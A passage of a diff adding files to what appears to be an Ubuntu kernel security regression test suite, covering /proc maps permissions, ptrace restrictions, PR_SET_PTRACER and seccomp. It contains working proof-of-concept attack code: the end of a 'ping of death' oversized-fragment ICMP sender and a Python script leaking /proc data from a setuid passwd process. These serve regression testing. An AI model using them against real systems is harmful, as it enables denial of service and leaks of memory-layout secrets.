} else {
|
||||
bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
|
||||
}
|
||||
printf("Sending to %s\n", inet_ntoa(ip->ip_dst));
|
||||
ip->ip_v = 4;
|
||||
ip->ip_hl = sizeof *ip >> 2;
|
||||
ip->ip_tos = 0;
|
||||
ip->ip_len = FIX(sizeof buf);
|
||||
ip->ip_id = htons(4321);
|
||||
ip->ip_off = FIX(0);
|
||||
ip->ip_ttl = 255;
|
||||
ip->ip_p = 1;
|
||||
#ifdef LINUX
|
||||
ip->ip_sum = 0; /* kernel fills in */
|
||||
#else
|
||||
ip->ip_csum = 0; /* kernel fills in */
|
||||
#endif
|
||||
ip->ip_src.s_addr = 0; /* kernel fills in */
|
||||
|
||||
dst.sin_addr = ip->ip_dst;
|
||||
dst.sin_family = AF_INET;
|
||||
|
||||
#ifdef LINUX
|
||||
icmp->type = ICMP_ECHO;
|
||||
icmp->code = 0;
|
||||
icmp->checksum = htons(~(ICMP_ECHO << 8));
|
||||
/* the checksum of all 0's is easy to compute */
|
||||
#else
|
||||
icmp->icmp_type = ICMP_ECHO;
|
||||
icmp->icmp_code = 0;
|
||||
icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));
|
||||
/* the checksum of all 0's is easy to compute */
|
||||
#endif
|
||||
|
||||
for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {
|
||||
ip->ip_off = FIX(offset >> 3);
|
||||
if (offset < 65120)
|
||||
ip->ip_off |= FIX(IP_MF);
|
||||
else
|
||||
ip->ip_len = FIX(418); /* make total 65538 */
|
||||
if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,
|
||||
sizeof dst) < 0) {
|
||||
fprintf(stderr, "offset %d: ", offset);
|
||||
perror("sendto");
|
||||
}
|
||||
if (offset == 0) {
|
||||
#ifdef LINUX
|
||||
icmp->type = 0;
|
||||
icmp->code = 0;
|
||||
icmp->checksum = 0;
|
||||
#else
|
||||
icmp->icmp_type = 0;
|
||||
icmp->icmp_code = 0;
|
||||
icmp->icmp_cksum = 0;
|
||||
#endif
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
|
@ -0,0 +1,75 @@
|
|||
#!/usr/bin/env python2
|
||||
# Demonstrates DAC bypass on /proc/$pid file descriptors across setuid exec
|
||||
# Author: Kees Cook <kees@ubuntu.com>
|
||||
# License: GPLv2
|
||||
# Usage: ./procleak.py FILES,TO,SNOOP PROGRAM-TO-RUN
|
||||
from __future__ import print_function
|
||||
|
||||
import os, sys, time, struct
|
||||
import errno
|
||||
|
||||
target = os.getpid()
|
||||
snoop = ['auxv', 'syscall', 'stack']
|
||||
|
||||
args = []
|
||||
if len(sys.argv)>1:
|
||||
args = sys.argv[1:]
|
||||
snoop = args[0].split(',')
|
||||
args = args[1:]
|
||||
|
||||
def dump_auxv(blob):
|
||||
if len(blob) == 0:
|
||||
return
|
||||
auxv = struct.unpack('@%dL' % (len(blob)/len(struct.pack('@L', 0))), blob)
|
||||
while auxv[0] != 0:
|
||||
if auxv[0] == 7:
|
||||
print(("AT_BASE: 0x%x" % (auxv[1])))
|
||||
if auxv[0] == 25:
|
||||
print(("AT_RANDOM: 0x%x" % (auxv[1])))
|
||||
auxv = auxv[2:]
|
||||
|
||||
# Allow child/parent synchronization to avoid start-up race.
|
||||
r, w = os.pipe()
|
||||
|
||||
pid = os.fork()
|
||||
if pid == 0:
|
||||
# Child
|
||||
os.close(w)
|
||||
os.read(r, 6)
|
||||
|
||||
os.setsid()
|
||||
sys.stdin.close()
|
||||
|
||||
files = dict()
|
||||
last = dict()
|
||||
uid = os.getuid()
|
||||
try:
|
||||
for name in snoop:
|
||||
files[name] = open('/proc/%d/%s' % (target, name))
|
||||
# Ignore initial read, since it's from the existing parent
|
||||
last[name] = files[name].read()
|
||||
while True:
|
||||
for name in snoop:
|
||||
files[name].seek(0)
|
||||
saw = files[name].read()
|
||||
diruid = os.stat('/proc/%d' % (target)).st_uid
|
||||
if saw != last[name] and diruid != uid:
|
||||
if name == 'auxv':
|
||||
dump_auxv(saw)
|
||||
else:
|
||||
print(saw)
|
||||
last[name] = saw
|
||||
except Exception as o:
|
||||
if o.errno == errno.EEXIST or o.errno == errno.EPERM:
|
||||
# Target quit or wasn't permitted to access the file to
|
||||
# begin with, so okay.
|
||||
sys.exit(0)
|
||||
sys.exit(1)
|
||||
|
||||
cmd = ['/usr/bin/passwd']
|
||||
if len(args) > 0:
|
||||
cmd = args
|
||||
os.close(r)
|
||||
os.write(w, "ready\n")
|
||||
time.sleep(1)
|
||||
os.execv(cmd[0], cmd)
|
|
@ -0,0 +1,14 @@
|
|||
CFLAGS=-Wall -Werror -Wformat -Wformat-security -O2 -D_FORTIFY_SOURCE=2
|
||||
|
||||
EXECS=maps-helper-normal maps-helper-setuid
|
||||
|
||||
all: $(EXECS)
|
||||
|
||||
maps-helper-setuid: maps-helper-setuid.c
|
||||
$(CC) $(CFLAGS) -o maps-helper-notsetuid $<
|
||||
#sudo chown root maps-helper-notsetuid && sudo chmod u+s maps-helper-notsetuid
|
||||
chmod u+s maps-helper-notsetuid
|
||||
mv -f maps-helper-notsetuid $@
|
||||
|
||||
clean:
|
||||
rm -f $(EXECS) maps-helper-notsetuid
|
Binary file not shown.
|
@ -0,0 +1,21 @@
|
|||
/*
|
||||
* Just pauses to read stdin and exits.
|
||||
*
|
||||
* Copyright (C) 2008 Canonical, Ltd.
|
||||
* Author: Kees Cook <kees@ubuntu.com>
|
||||
* License: GPLv3
|
||||
*/
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main()
|
||||
{
|
||||
char buf[80];
|
||||
|
||||
if (!fgets(buf, 79, stdin)) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
Binary file not shown.
|
@ -0,0 +1,67 @@
|
|||
/*
|
||||
* Drops privs, and writes given filename contents to stdout.
|
||||
* Think of it as a priv-dropping "cat".
|
||||
*
|
||||
* Copyright (C) 2008 Canonical, Ltd.
|
||||
* Author: Kees Cook <kees@ubuntu.com>
|
||||
* License: GPLv3
|
||||
*/
|
||||
#define _GNU_SOURCE
|
||||
#include <unistd.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/types.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
int fd;
|
||||
ssize_t saw;
|
||||
unsigned char buf[1024];
|
||||
|
||||
uid_t uid = getuid();
|
||||
gid_t gid = getgid();
|
||||
|
||||
if (argc < 2) {
|
||||
fprintf(stderr,"Usage: %s FILENAME\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
if ((argc == 3) && (strcmp(argv[2], "sleep") == 0)) {
|
||||
usleep(100000);
|
||||
}
|
||||
|
||||
if (gid < 1 || uid < 1) {
|
||||
fprintf(stderr,"UID and GID must be greater than 0.\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
// drop privs
|
||||
if (setresgid(gid,gid,gid)<0 || getegid() != gid) {
|
||||
fprintf(stderr,"setresgid failed\n");
|
||||
return 1;
|
||||
}
|
||||
if (setresuid(uid,uid,uid)<0 || geteuid() != uid) {
|
||||
fprintf(stderr,"setresuid failed\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
if ((fd = open(argv[1],O_RDONLY))<0) {
|
||||
perror(argv[1]);
|
||||
return 1;
|
||||
}
|
||||
while ( (saw = read(fd, buf, 1024)) > 0) {
|
||||
ssize_t sent, wrote;
|
||||
for (sent = 0; sent < saw; sent += wrote ) {
|
||||
wrote = write(STDOUT_FILENO,buf,saw);
|
||||
if (wrote <= 0) {
|
||||
perror(argv[1]);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
close(fd);
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,113 @@
|
|||
#!/usr/bin/env python2
|
||||
#
|
||||
# This verifies that memory-segment listing /proc files (maps, smaps) are
|
||||
# not world-readable, and that setuid priv-dropped process can still read
|
||||
# their own maps files.
|
||||
#
|
||||
# (At some point, the maps_protect knob became useless?)
|
||||
#
|
||||
# Copyright (C) 2008, 2013 Canonical, Ltd.
|
||||
# Author: Kees Cook <kees@ubuntu.com>
|
||||
# License: GPLv3
|
||||
from __future__ import print_function
|
||||
|
||||
import errno
|
||||
import os
|
||||
import time
|
||||
import unittest
|
||||
from subprocess import Popen, PIPE, STDOUT
|
||||
|
||||
|
||||
def maps_readable(pid, command=None, expected=None):
|
||||
readable = True
|
||||
output = []
|
||||
filenames = ['/proc/%s/maps' % pid, '/proc/%s/smaps' % pid]
|
||||
if not pid == "self":
|
||||
filenames.extend(['/proc/%s/task/%s/maps' % (pid, pid), '/proc/%s/task/%s/smaps' % (pid, pid)])
|
||||
for filename in filenames:
|
||||
count = 0
|
||||
try:
|
||||
if command is None:
|
||||
contents = open(filename).read()
|
||||
else:
|
||||
contents = Popen([command, filename], stdout=PIPE, stderr=STDOUT).communicate()[0]
|
||||
output.append(contents)
|
||||
count = len(contents)
|
||||
except IOError as e:
|
||||
if not e.errno in [errno.EPERM, errno.EACCES]:
|
||||
raise
|
||||
if count == 0:
|
||||
readable = False
|
||||
|
||||
if expected is not None and expected != readable:
|
||||
raise ValueError("\n--\n".join(output))
|
||||
|
||||
return readable
|
||||
|
||||
|
||||
class MapsTests(unittest.TestCase):
|
||||
'''Test functionality of /proc/$pid/maps'''
|
||||
|
||||
def setUp(self):
|
||||
'''Set up each test case'''
|
||||
self.pid_to_kill = None
|
||||
|
||||
def tearDown(self):
|
||||
'''Clean up each test case'''
|
||||
if self.pid_to_kill:
|
||||
os.kill(self.pid_to_kill, 9)
|
||||
|
||||
def test_00_ourself(self):
|
||||
'''Can read our own maps file'''
|
||||
|
||||
# We should be able to read our own maps files.
|
||||
our_pid = os.getpid()
|
||||
self.assertTrue(maps_readable('%d' % (our_pid)), "Cannot read maps file for self (pid %d)" % (our_pid))
|
||||
|
||||
def test_10_other(self):
|
||||
'''Can not read other users' processes maps file'''
|
||||
|
||||
self.assertFalse(maps_readable('1'), "Should not be able to read maps file for init (pid 1)")
|
||||
|
||||
def test_20_same_uid(self):
|
||||
'''Can read maps from other processes under the same uid'''
|
||||
|
||||
# We should be able to read another process of the same uid's maps files.
|
||||
p = Popen(['./maps-helper-normal'], stdin=PIPE)
|
||||
self.pid_to_kill = p.pid
|
||||
self.assertTrue(maps_readable('%d' % p.pid), "Cannot read maps file for process with same uid (pid %d)" % (p.pid))
|
||||
|
||||
def _check_setuid(self):
|
||||
'''Verify the required setuid program'''
|
||||
|
||||
info = os.stat('maps-helper-setuid')
|
||||
self.assertEqual(info.st_uid, 0, "maps-helper-setuid not owned by root")
|
||||
self.assertEqual(info.st_mode & 0o4000, 0o4000, "maps-helper-setuid not setuid")
|
||||
|
||||
def test_30_setuid_before_dropping_privs(self):
|
||||
'''Can not read setuid process before priv-dropping to our uid'''
|
||||
|
||||
self._check_setuid()
|
||||
p = Popen(['./maps-helper-setuid', '/dev/stdin', 'sleep'], stdin=PIPE)
|
||||
self.pid_to_kill = p.pid
|
||||
self.assertFalse(maps_readable('%d' % p.pid, expected=False), "Can read maps file for setuid process (pid %d)" % (p.pid))
|
||||
|
||||
def test_40_same_uid_but_after_setuid(self):
|
||||
'''Can not read process that priv-dropped to our uid'''
|
||||
|
||||
self._check_setuid()
|
||||
p = Popen(['./maps-helper-setuid', '/dev/stdin'], stdin=PIPE)
|
||||
self.pid_to_kill = p.pid
|
||||
# pause to wait for the setuid helper to drop privs
|
||||
time.sleep(0.2)
|
||||
self.assertFalse(maps_readable('%d' % p.pid, expected=False), "Can read maps file for process with same uid (pid %d) that dropped privs" % (p.pid))
|
||||
|
||||
def test_50_same_uid_but_setuid_self(self):
|
||||
'''Set-uid processes can read their own maps file'''
|
||||
|
||||
self._check_setuid()
|
||||
# A priv-dropping setuid helper should be able to read its own maps files.
|
||||
self.assertTrue(maps_readable('self', command='./maps-helper-setuid'), "Setuid priv-dropper cannot read its own maps files")
|
||||
|
||||
if __name__ == '__main__':
|
||||
unittest.main()
|
|
@ -0,0 +1,11 @@
|
|||
CFLAGS=-Wall -Werror -g3
|
||||
|
||||
EXECS=sleeper thread-prctl
|
||||
|
||||
all: $(EXECS)
|
||||
|
||||
clean:
|
||||
rm -f $(EXECS)
|
||||
|
||||
thread-%: thread-%.c
|
||||
$(CC) $(CFLAGS) -pthread -o $@ $<
|
|
@ -0,0 +1,137 @@
|
|||
#!/bin/bash
|
||||
# Copyright (C) 2010-2011 Canonical Ltd.
|
||||
# Copyright (c) 2012 The Chromium OS Authors.
|
||||
# License: GPLv3
|
||||
# Author: Kees Cook <keescook@chromium.org>
|
||||
set -e
|
||||
if [ "$(whoami)" = "root" ]; then
|
||||
echo "Cannot be root for this test" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
export LC_ALL=C
|
||||
pid=
|
||||
dir=
|
||||
|
||||
function start_sleeper()
|
||||
{
|
||||
dir=$(mktemp -d -t sleeper-XXXXXX)
|
||||
mkfifo "$dir"/status
|
||||
./sleeper "$1" 120 >"$dir"/status &
|
||||
pid=$!
|
||||
# Wait for sleeper to start up.
|
||||
read status < "$dir"/status
|
||||
}
|
||||
|
||||
function kill_sleeper()
|
||||
{
|
||||
disown $pid
|
||||
kill $pid
|
||||
rm -rf "$dir"
|
||||
}
|
||||
|
||||
rc=0
|
||||
|
||||
# Check we can see direct children.
|
||||
OUT=$(gdb -ex run -ex quit --batch ./sleeper </dev/null 2>&1)
|
||||
if echo "$OUT" | grep -q 'Quit anyway'; then
|
||||
echo "ok: children correctly allow ptrace"
|
||||
else
|
||||
echo "FAIL: Children unexpectedly not allow ptrace"
|
||||
rc=1
|
||||
fi
|
||||
|
||||
# Check we can't see cousins.
|
||||
sleep 120 &
|
||||
pid=$!
|
||||
OUT=$(gdb -ex "attach $pid" -ex "quit" --batch </dev/null 2>&1)
|
||||
if echo "$OUT" | grep -q 'Operation not permitted\|Inappropriate ioctl for device'; then
|
||||
echo "ok: cousins correctly not allow ptrace"
|
||||
else
|
||||
echo "FAIL: cousins unexpectedly allow ptrace"
|
||||
rc=1
|
||||
fi
|
||||
|
||||
# Validate we can see cousin /proc entries.
|
||||
if ls -la /proc/$pid/exe >/dev/null 2>&1; then
|
||||
echo "ok: cousins correctly visible in /proc"
|
||||
else
|
||||
echo "FAIL: cousins unexpectedly invisible in /proc"
|
||||
rc=1
|
||||
fi
|
||||
|
||||
# Check we can't attach to init.
|
||||
OUT=$(gdb -ex "attach 1" -ex "quit" --batch </dev/null 2>&1)
|
||||
if echo "$OUT" | grep -q 'Operation not permitted\|Inappropriate ioctl for device'; then
|
||||
echo "ok: init correctly not allowing ptrace"
|
||||
else
|
||||
echo "FAIL: init unexpectedly allowed ptrace"
|
||||
rc=1
|
||||
fi
|
||||
|
||||
# Check we can't see init.
|
||||
if ! ls -la /proc/1/exe >/dev/null 2>&1; then
|
||||
echo "ok: init correctly invisible in /proc"
|
||||
else
|
||||
echo "FAIL: init unexpectedly visible in /proc"
|
||||
rc=1
|
||||
fi
|
||||
|
||||
# Drop the sleep process and destroy it without disrupting the shell.
|
||||
disown $pid
|
||||
kill $pid
|
||||
|
||||
# Validate that prctl(PR_SET_PTRACER, 0, ...) works to delete tracer.
|
||||
start_sleeper 0
|
||||
OUT=$(gdb -ex "attach $pid" -ex "quit" --batch </dev/null 2>&1)
|
||||
prctl="prctl(PR_SET_PTRACER, 0, ...)"
|
||||
if echo "$OUT" | grep -q 'Operation not permitted\|Inappropriate ioctl for device'; then
|
||||
echo "ok: $prctl correctly not allowed ptrace"
|
||||
else
|
||||
echo "FAIL: $prctl unexpectedly allowed ptrace"
|
||||
rc=1
|
||||
fi
|
||||
kill_sleeper
|
||||
|
||||
# Validate near ancestor allowed with PR_SET_PTRACER use.
|
||||
start_sleeper $$
|
||||
OUT=$(gdb -ex "attach $pid" -ex "quit" --batch </dev/null 2>&1)
|
||||
prctl="prctl(PR_SET_PTRACER, parent, ...)"
|
||||
if echo "$OUT" | grep -q 'Quit anyway'; then
|
||||
echo "ok: $prctl correctly allowed ptrace"
|
||||
else
|
||||
echo "FAIL: $prctl unexpectedly not allowed ptrace"
|
||||
rc=1
|
||||
fi
|
||||
kill_sleeper
|
||||
|
||||
# Validate distant ancestor allowed with PR_SET_PTRACER use.
|
||||
start_sleeper 1
|
||||
OUT=$(gdb -ex "attach $pid" -ex "quit" --batch </dev/null 2>&1)
|
||||
prctl="prctl(PR_SET_PTRACER, 1, ...)"
|
||||
if echo "$OUT" | grep -q 'Quit anyway'; then
|
||||
echo "ok: $prctl correctly allowed ptrace"
|
||||
else
|
||||
echo "FAIL: $prctl unexpectedly not allowed ptrace"
|
||||
rc=1
|
||||
fi
|
||||
kill_sleeper
|
||||
|
||||
# Bail out on kernels prior to 3.2.
|
||||
if [ "$1" != "--any" ]; then
|
||||
exit $rc
|
||||
fi
|
||||
|
||||
# Validate -1 disables protection.
|
||||
start_sleeper -1
|
||||
OUT=$(gdb -ex "attach $pid" -ex "quit" --batch </dev/null 2>&1)
|
||||
prctl="prctl(PR_SET_PTRACER, -1, ...)"
|
||||
if echo "$OUT" | grep -q 'Quit anyway'; then
|
||||
echo "ok: $prctl correctly allowed ptrace"
|
||||
else
|
||||
echo "FAIL: $prctl unexpectedly not allowed ptrace"
|
||||
rc=1
|
||||
fi
|
||||
kill_sleeper
|
||||
|
||||
exit $rc
|
|
@ -0,0 +1,49 @@
|
|||
/*
|
||||
* Copyright 2010 Canonical, Ltd
|
||||
* Copyright (c) 2012 The Chromium OS Authors.
|
||||
* License: GPLv3
|
||||
* Author: Kees Cook <keescook@chromium.org>
|
||||
*/
|
||||
#define _GNU_SOURCE
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
#include <inttypes.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/prctl.h>
|
||||
#include <signal.h>
|
||||
|
||||
#ifndef PR_SET_PTRACER
|
||||
# define PR_SET_PTRACER 0x59616d61
|
||||
#endif
|
||||
|
||||
int main(int argc, char * argv[])
|
||||
{
|
||||
long pid;
|
||||
|
||||
if (argc<3) {
|
||||
fprintf(stderr,"Usage: %s TRACER_PID SLEEP_SECONDS\n", argv[0]);
|
||||
/* Without arguments, send a SIGINT to ourself so that gdb can
|
||||
* regain control without needing debugging symbols.
|
||||
*/
|
||||
kill(getpid(), SIGINT);
|
||||
return 1;
|
||||
}
|
||||
|
||||
pid = strtol(argv[1], NULL, 10);
|
||||
if (pid != -2) {
|
||||
prctl(PR_SET_PTRACER, pid, 0, 0, 0);
|
||||
}
|
||||
|
||||
puts("ready");
|
||||
fflush(NULL);
|
||||
sleep(atoi(argv[2]));
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,270 @@
|
|||
/* Originally written by Philippe Waroquiers in LP: #729839
|
||||
* Rewritten for use in QRT by Kees Cook <kees@ubuntu.com>
|
||||
*/
|
||||
#include <unistd.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <signal.h>
|
||||
#include <string.h>
|
||||
#include <pthread.h>
|
||||
#include <sys/ptrace.h>
|
||||
#include <sys/prctl.h>
|
||||
#ifndef PR_SET_PTRACER
|
||||
# define PR_SET_PTRACER 0x59616d61
|
||||
#endif
|
||||
|
||||
int tracee_method = 0;
|
||||
#define TRACEE_FORKS_FROM_TRACER 0
|
||||
#define TRACEE_CALLS_PRCTL_FROM_MAIN 1
|
||||
#define TRACEE_CALLS_PRCTL_FROM_THREAD 2
|
||||
|
||||
int main_does_ptrace = 0;
|
||||
|
||||
int ret;
|
||||
int pipes[2];
|
||||
int notification[2];
|
||||
pid_t tracer, tracee;
|
||||
|
||||
static void *thr_fn(void *v)
|
||||
{
|
||||
printf("tracee thread started\n");
|
||||
if (tracee_method == TRACEE_CALLS_PRCTL_FROM_THREAD) {
|
||||
ret = prctl (PR_SET_PTRACER, tracer, 0, 0, 0);
|
||||
printf("tracee thread prtctl result: %d\n", ret);
|
||||
}
|
||||
printf("tracee thread finishing\n");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void start_tracee(void);
|
||||
|
||||
void * tracer_main(void * data) {
|
||||
long ptrace_result;
|
||||
char buf[8];
|
||||
int saw;
|
||||
|
||||
tracer = getpid();
|
||||
printf("tracer %d waiting\n", tracer);
|
||||
|
||||
if (tracee_method == TRACEE_FORKS_FROM_TRACER) {
|
||||
printf("forking tracee from tracer\n");
|
||||
start_tracee();
|
||||
}
|
||||
|
||||
close(pipes[1]);
|
||||
close(notification[0]);
|
||||
close(notification[1]);
|
||||
|
||||
saw = read(pipes[0], buf, 3);
|
||||
if (saw < 3) {
|
||||
perror("tracer pipe read");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("tracer to PTRACE_ATTACH my tracee %d\n", tracee);
|
||||
ptrace_result = ptrace(PTRACE_ATTACH, tracee, NULL, NULL);
|
||||
if (ptrace_result != 0) {
|
||||
fflush(NULL);
|
||||
perror ("tracer ptrace attach has failed");
|
||||
exit(2);
|
||||
}
|
||||
printf ("tracer ptrace attach successful\n");
|
||||
|
||||
/* wait for signal */
|
||||
printf("tracer waiting for tracee to SIGSTOP\n");
|
||||
waitpid(tracee, NULL, 0);
|
||||
|
||||
printf("tracer to PTRACE_CONT tracee\n");
|
||||
ptrace_result = ptrace(PTRACE_CONT, tracee, NULL, NULL);
|
||||
if (ptrace_result != 0) {
|
||||
fflush(NULL);
|
||||
perror ("tracer ptrace continue has failed");
|
||||
exit(3);
|
||||
}
|
||||
printf ("tracer ptrace continue successful\n");
|
||||
|
||||
/*
|
||||
printf("tracer to PTRACE_DETACH tracee\n");
|
||||
ptrace_result = ptrace(PTRACE_DETACH, tracee, NULL, NULL);
|
||||
if (ptrace_result != 0) {
|
||||
fflush(NULL);
|
||||
perror ("tracer ptrace detach has failed");
|
||||
exit(4);
|
||||
}
|
||||
printf ("tracer ptrace detached successful\n");
|
||||
*/
|
||||
|
||||
/*
|
||||
printf("tracer to PTRACE_KILL tracee\n");
|
||||
ptrace_result = ptrace(PTRACE_KILL, tracee, NULL, NULL);
|
||||
if (ptrace_result != 0) {
|
||||
fflush(NULL);
|
||||
perror ("tracer ptrace kill has failed");
|
||||
exit(4);
|
||||
}
|
||||
printf ("tracer ptrace kill successful\n");
|
||||
*/
|
||||
|
||||
printf("tracer returning 0\n");
|
||||
fflush(NULL);
|
||||
exit(0);
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* tracee knows nothing, needs tracee and tracer pid */
|
||||
void tracee_main(void) {
|
||||
char buf[1024];
|
||||
int saw;
|
||||
pthread_t thr;
|
||||
|
||||
tracee = getpid();
|
||||
close(pipes[0]);
|
||||
|
||||
printf("tracee %d reading tracer pid\n", tracee);
|
||||
close(notification[1]);
|
||||
saw = read(notification[0], buf, 1024);
|
||||
if (saw < 1) {
|
||||
perror("pipe read");
|
||||
exit(90);
|
||||
}
|
||||
buf[saw]='\0';
|
||||
tracer = atoi(buf);
|
||||
|
||||
printf("tracee %d started (expecting %d as tracer)\n", tracee, tracer);
|
||||
|
||||
/* Handle setting PR_SET_PTRACER */
|
||||
switch (tracee_method) {
|
||||
case TRACEE_CALLS_PRCTL_FROM_MAIN:
|
||||
ret = prctl (PR_SET_PTRACER, tracer, 0, 0, 0);
|
||||
printf("tracee main prtctl result: %d \n", ret);
|
||||
break;
|
||||
case TRACEE_CALLS_PRCTL_FROM_THREAD:
|
||||
printf("tracee thread starting\n");
|
||||
pthread_create(&thr, NULL, thr_fn, NULL);
|
||||
pthread_join(thr, NULL);
|
||||
printf("tracee thread finished\n");
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
/* Wait for Oedipal action */
|
||||
printf("tracee triggering tracer\n");
|
||||
fflush(NULL);
|
||||
write(pipes[1], "ok\n", 3);
|
||||
|
||||
printf("tracee waiting for master\n");
|
||||
saw = read(notification[0], buf, 1024);
|
||||
buf[saw] = '\0';
|
||||
|
||||
printf("tracee finished (%s)\n", buf);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
void start_tracee(void)
|
||||
{
|
||||
fflush(NULL);
|
||||
tracee = fork();
|
||||
if (tracee < 0) {
|
||||
perror("fork tracee");
|
||||
exit(11);
|
||||
}
|
||||
if (tracee == 0) {
|
||||
tracee_main();
|
||||
exit(12);
|
||||
}
|
||||
}
|
||||
|
||||
/* tracer knows tracee, needs tracer pid */
|
||||
|
||||
int main(int argc, char*argv[])
|
||||
{
|
||||
int status;
|
||||
char buf[1024];
|
||||
|
||||
if (argc > 1) {
|
||||
/* operational states
|
||||
* 0: tracer forks tracee
|
||||
* 1: tracee calls prctl from main process
|
||||
* 2: tracee calls prctl from non-leader thread
|
||||
*/
|
||||
tracee_method = atoi(argv[1]);
|
||||
}
|
||||
if (argc > 2) {
|
||||
/* operational states
|
||||
* 0: ptrace happens from non-leader thread
|
||||
* 1: ptrace happens from main process
|
||||
*/
|
||||
main_does_ptrace = atoi(argv[2]) != 0;
|
||||
}
|
||||
|
||||
if (tracee_method != TRACEE_FORKS_FROM_TRACER) {
|
||||
printf("will issue prctl from %s\n", tracee_method == TRACEE_CALLS_PRCTL_FROM_MAIN ? "main" : "thread");
|
||||
}
|
||||
else {
|
||||
printf("will fork tracee from tracer\n");
|
||||
}
|
||||
printf("will issue ptrace from tracer %s\n", main_does_ptrace ? "main" : "thread");
|
||||
|
||||
printf("master is %d\n", getpid());
|
||||
|
||||
if (pipe(notification)<0) {
|
||||
perror("pipe");
|
||||
exit(9);
|
||||
}
|
||||
if (pipe(pipes)<0) {
|
||||
perror("pipe");
|
||||
exit(10);
|
||||
}
|
||||
|
||||
if (tracee_method != TRACEE_FORKS_FROM_TRACER) {
|
||||
printf("forking tracee from master\n");
|
||||
start_tracee();
|
||||
}
|
||||
|
||||
fflush(NULL);
|
||||
tracer = fork();
|
||||
if (tracer < 0) {
|
||||
perror("fork tracer");
|
||||
exit(13);
|
||||
}
|
||||
if (tracer == 0) {
|
||||
printf("tracer is %d\n", getpid());
|
||||
if (main_does_ptrace) {
|
||||
tracer_main(NULL);
|
||||
}
|
||||
else {
|
||||
pthread_t thread;
|
||||
pthread_create(&thread, NULL, tracer_main, NULL);
|
||||
pthread_join(thread, NULL);
|
||||
}
|
||||
exit(14);
|
||||
}
|
||||
|
||||
/* leave the pipes for the tracee and tracer */
|
||||
close(pipes[0]);
|
||||
close(pipes[1]);
|
||||
|
||||
/* close our end of pid notification */
|
||||
close(notification[0]);
|
||||
sprintf(buf, "%d", tracer);
|
||||
write(notification[1], buf, strlen(buf));
|
||||
|
||||
printf("master waiting for tracer to finish\n");
|
||||
fflush(NULL);
|
||||
waitpid(tracer, &status, 0);
|
||||
|
||||
printf("master waiting for tracee to finish\n");
|
||||
fflush(NULL);
|
||||
write(notification[1], "stop", 4);
|
||||
kill(tracee, SIGCONT); // just in case
|
||||
waitpid(tracee, NULL, 0);
|
||||
|
||||
status = WEXITSTATUS(status);
|
||||
printf("master saw rc %d from tracer\n", status);
|
||||
return status;
|
||||
}
|
||||
|
|
@ -0,0 +1,37 @@
|
|||
/*
|
||||
Compat definitions for qrt kernel modules to cope with different
|
||||
kernel versions and changes in the proc api over time
|
||||
|
||||
Author: Kees Cook <keescook@chromium.org>
|
||||
Copyright 2011 ChromeOS Authors
|
||||
Author: Steve Beattie <steve.beattie@canonical.com>
|
||||
Copyright 2020 Canonical, Ltd.
|
||||
*/
|
||||
|
||||
#if LINUX_VERSION_CODE > KERNEL_VERSION(2,6,25)
|
||||
# define PROC_CREATE(entry, name, mode, func) \
|
||||
entry = proc_create(name, mode, NULL, func)
|
||||
#else
|
||||
/* older kernel support... */
|
||||
# define PROC_CREATE(entry, name, mode, func) { \
|
||||
entry = create_proc_entry(name, mode, NULL); \
|
||||
if (entry) { \
|
||||
entry->proc_fops = func; \
|
||||
entry->owner = THIS_MODULE; \
|
||||
} \
|
||||
}
|
||||
#endif
|
||||
|
||||
#if LINUX_VERSION_CODE > KERNEL_VERSION(5,6,0)
|
||||
# define PROC_OPS proc_ops
|
||||
# define PROC_OPS_OPEN proc_open
|
||||
# define PROC_OPS_READ proc_read
|
||||
# define PROC_OPS_LSEEK proc_lseek
|
||||
# define PROC_OPS_RELEASE proc_release
|
||||
#else
|
||||
# define PROC_OPS file_operations
|
||||
# define PROC_OPS_OPEN open
|
||||
# define PROC_OPS_READ read
|
||||
# define PROC_OPS_LSEEK llseek
|
||||
# define PROC_OPS_RELEASE release
|
||||
#endif
|
|
@ -0,0 +1,8 @@
|
|||
CFLAGS=-Wall -Werror -O2
|
||||
|
||||
EXECS=seccomp
|
||||
|
||||
all: $(EXECS)
|
||||
|
||||
clean:
|
||||
rm -f $(EXECS)
|
Binary file not shown.
|
@ -0,0 +1,87 @@
|
|||
/*
|
||||
* Copyright 2009-2010, Canonical, Ltd.
|
||||
* Author: Kees Cook <kees@ubuntu.com>
|
||||
* License: GPLv3
|
||||
*
|
||||
* This program should be SIGKILL'd after doing continued reads,
|
||||
* if SECCOMP is working in the kernel.
|
||||
*
|
||||
*/
|
||||
#define _GNU_SOURCE
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
